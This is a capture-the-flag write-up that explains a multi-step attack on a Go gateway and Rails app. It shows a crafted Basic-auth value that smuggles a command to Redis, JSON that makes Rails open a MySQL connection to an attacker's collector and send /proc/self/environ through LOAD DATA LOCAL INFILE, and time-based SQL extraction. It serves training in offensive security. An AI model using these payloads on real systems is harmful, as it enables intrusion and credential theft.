DownUnderCTF
off dah rails m8: a gateway that kept going
The flag is in MariaDB, but the app does not show query results. I used a bug in the Go gateway to make Redis store a login token. That let me reach a Rails bug, make Rails connect to a database I control, and copy out the app's database credentials. I then read the flag two hex characters at a time by measuring how long each query took.
Getting past authentication
The gateway checks each request against Redis. If the login is wrong, it sends a 401 response. But it forgets to return, so it keeps handling the request:
ar, err := ValidateAuthToken(req)
if err != nil || !ar {
http.Error(w, "invalid authentication token", http.StatusUnauthorized)
}
// The handler keeps going here.
The next step builds a URL from the Basic-auth username and password. It adds them without escaping special characters:
ba = u + ":" + p + "@"
return fmt.Sprintf("http://%s%s%s", ba, req.Host, req.URL.RequestURI()), nil
The gateway then tries to change each URL so it points to Rails:
func proxiedUrl(ou string) string {
re := regexp.MustCompile(`^(https?://)(.*)(/.*)$`)
return re.ReplaceAllString(ou, "http://127.0.0.1:3000$3")
}
The . in this Go regular expression does not match a newline. When it matches, $3 keeps the last slash part used by these routes, and the rewrite changes the host to Rails. If the pattern does not match, the URL stays as it was.
Basic authentication encodes the text username:password with base64. I send this raw request to the gateway:
SET / HTTP/1.1
Host: 127.0.0.1:1337
Authorization: Basic bXI6ZmF0bW9ua2VAMTI3LjAuMC4xOjYzNzkvaGFja2VyLXVzZXIjCg==
Content-Length: 0
Connection: close
The Basic-auth value decodes to:
mr:fatmonke@127.0.0.1:6379/hacker-user#\n
Here \n stands for a real newline byte. The username is mr; everything after the first colon is the password. The gateway joins these fields with its URL-building code and gets this URL. The \n below marks the newline:
http://mr:fatmonke@127.0.0.1:6379/hacker-user#\n@127.0.0.1:1337/
The first @ ends the URL's login section, making the host 127.0.0.1:6379. That is Redis inside the challenge container. The # starts a URL fragment. The gateway adds the original host and path after it; that text is part of the fragment and is not sent to Redis. The newline in the fragment also makes the rewrite pattern fail. Go accepts the newline in this fragment, so the URL reaches its HTTP client without being changed to the Rails address.
The gateway keeps the original request method, SET. The URL path is /hacker-user, so the request line sent to Redis is:
SET /hacker-user HTTP/1.1
Redis accepts commands as words separated by spaces. It reads this line as SET key value and stores HTTP/1.1 under /hacker-user. Redis does not need to understand the rest of the request as HTTP for the SET to happen.
Redis now holds a valid login pair:
username: /hacker-user
password: HTTP/1.1
Both the gateway and Rails check logins against this Redis store, so this pair gets us through both checks. The client still sees a 401 because the gateway sent it before trying the Redis request. Redis replies with +OK, not an HTTP response, so the gateway's HTTP client reports an error. That does not undo the SET.
Making Rails load our JSON
The Rails controller checks the login and then loads a file path from the request. It uses the JSON to choose a Ruby class and call its constructor:
def lol_what_could_go_wrong
if !@authenticated
request_http_basic_authentication
return
end
config_file = params[:config]
config_hash = JSON.load_file(config_file)
config_hash["type"].constantize.new(config_hash["arg"])
render json: {success: true}
end
The constantize call turns a class name written as text, such as Mysql2::Client, into that Ruby class. The next line calls the class with the options from our JSON. The app does not limit which class name we can choose.
The route only accepts POST /. The solver first sends a multipart upload to POST /upload, which has no route. In this Rails and Rack setup, Rack reads the multipart body and makes temporary files before Rails rejects the route. The uploaded file stays open in the Puma process long enough for the next request.
On Linux, /proc/self/fd/N is a path to the open file numbered N in the current process. Here, self is the Rails process. Even if the temporary file's original name is gone, the open file descriptor still points to its contents. JSON.load_file can read the upload through this path.
The solver sends a JSON request to / with config set to /proc/self/fd/N. It tries increasing descriptor numbers until Rails returns 200, which means it found a file containing the JSON config. The gateway turns backend errors into 400 responses, so a failed descriptor does not look like a Rails error to the solver.
Reading the Rails environment
I use the class constructor to make Rails open a MySQL connection. The init_command option runs SQL as the connection starts. With local_infile enabled, LOAD DATA LOCAL INFILE makes the MySQL client read a file from its own machine and send its contents to the database server.
The MySQL client is running inside Rails. So /proc/self/environ points to the Rails process's environment, not the MariaDB collector's. I send that file to a collector database I control:
{
"type": "Mysql2::Client",
"arg": {
"host": "collector",
"port": 3306,
"username": "exfil",
"password": "exfil-pass",
"database": "exfil",
"local_infile": true,
"init_command": "LOAD DATA LOCAL INFILE '/proc/self/environ' INTO TABLE leaks"
}
}
The SQL command is:
LOAD DATA LOCAL INFILE '/proc/self/environ' INTO TABLE leaks
The collector stores the file in its leaks table. The solver reads the row and splits the NUL-separated environment entries to get DB_USER and DB_PASSWORD:
env = rows[-1].decode("latin1")
values = dict(item.split("=", 1) for item in env.split("\0") if "=" in item)
db_user, db_password = values["DB_USER"], values["DB_PASSWORD"]
The startup script puts FLAG in the challenge database, creates a database user with SELECT access, and removes FLAG from the environment before starting Rails. So the environment leak gives us database credentials, but not the flag itself. For the flag queries, the solver uses these credentials to connect to 127.0.0.1:3306 and the off_dah_rails_m8_production database. The controller throws away the query result and only returns a success response, so I need another way to read the table.
Getting the flag with query times
The flag has ten hex characters between DUCTF{ and }. The solver asks MySQL to sleep for a time based on two of those characters:
SELECT SLEEP(
CAST(CONV(SUBSTRING(flag, 7, 2), 16, 10) AS UNSIGNED) * 0.04
) FROM flag;
String positions start at 1, so position 7 is the first character after DUCTF{. CONV changes the two hex characters into a decimal number. SLEEP waits for that number times 0.04 seconds.
For example, 6f is 111 in decimal. The query waits 111 × 0.04, or about 4.44 seconds. The app does not show us 111, but we can measure the request time and work it out.
Before the five flag queries, the solver sends a SLEEP(0) query. Its time is the baseline: the normal cost of sending a request and connecting to MySQL. The solver sets delay to 0.04 seconds. For each flag query, it subtracts the baseline and divides by delay:
value = int((elapsed - baseline) / delay + 0.15)
suffix += f"{value:02x}"
The 0.15 is a small correction for timing noise in the local run. The solver checks that the result is between 0 and 255, then formats it as two hex digits. It does not check the final flag against another source, so a slow or noisy connection can produce a wrong pair.
The gateway stops waiting for a backend request after ten seconds. A pair of ff would ask MySQL to sleep for 10.2 seconds, so large values can time out. This is why the solver uses a short 0.04-second step and why timing noise still matters.
The solver
The solver automates the chain. It uses a raw socket for the first request so it can send the SET method and crafted Basic-auth value exactly. After Redis has the new login, it uses HTTP requests for the Rails uploads and config requests. It also connects to the collector with PyMySQL to read the leaked environment row.
The solver cannot assume a fixed file descriptor number for each upload. It starts at --first-fd and checks increasing numbers, up to --fd-window entries at a time. When it finds one that returns 200, it starts the next search after that descriptor. The default first descriptor, 13, comes from the local setup; change it if your Rails process uses a different number.
For the timing queries, the solver uploads the baseline config and all five flag configs in one multipart request. Rack creates their temp files together, so they are less likely to be closed before the solver reads them. It then finds each descriptor and measures the matching request.
Running it locally
Get the challenge files from the official repository,build the image and create a Docker network:
unzip off-dah-rails-m8.zip -d /tmp/off-dah-rails
docker build -t ductf2025-off-dah-rails-local /tmp/off-dah-rails/off-dah-rails-m8
docker network create ductf-odr-net
Start the MariaDB collector, wait for it to be ready, then create the table:
docker run -d --rm --name ductf-odr-collector --network ductf-odr-net \
--network-alias collector -p 33306:3306 \
-e MARIADB_ROOT_PASSWORD=collector-root \
-e MARIADB_DATABASE=exfil -e MARIADB_USER=exfil -e MARIADB_PASSWORD=exfil-pass \
mariadb:10.11 --local-infile=1
until mysqladmin ping -h 127.0.0.1 -P 33306 -u exfil -pexfil-pass --silent; do
sleep 1
done
mysql -h 127.0.0.1 -P 33306 -u exfil -pexfil-pass exfil \
-e 'CREATE TABLE leaks (data LONGBLOB);'
Start the challenge container:
docker run -d --rm --name ductf-odr-target --network ductf-odr-net -p 31349:1337 \
-e ADMIN_TOKEN=2973c412991451d5c1b9741a22444007e73c3d1412f92a654d23ffadd63ccc45 \
-e FLAG='DUCTF{6f1409b9f6}' \
-e DB_USER=thefatcontroller \
-e DB_PASSWORD=de13c3cc60e134ff099875230ebfb9e6480635d273a1fea9d6b31f5766b75f59 \
ductf2025-off-dah-rails-local
Wait for the challenge services to start. Then install the solver's Python packages and run it:
python3 -m pip install requests PyMySQL
python3 solve.py --host 127.0.0.1 --port 31349 --first-fd 13
On success, the solver prints each recovered pair and then the full flag. The included screenshot shows the solver reaching that final output:
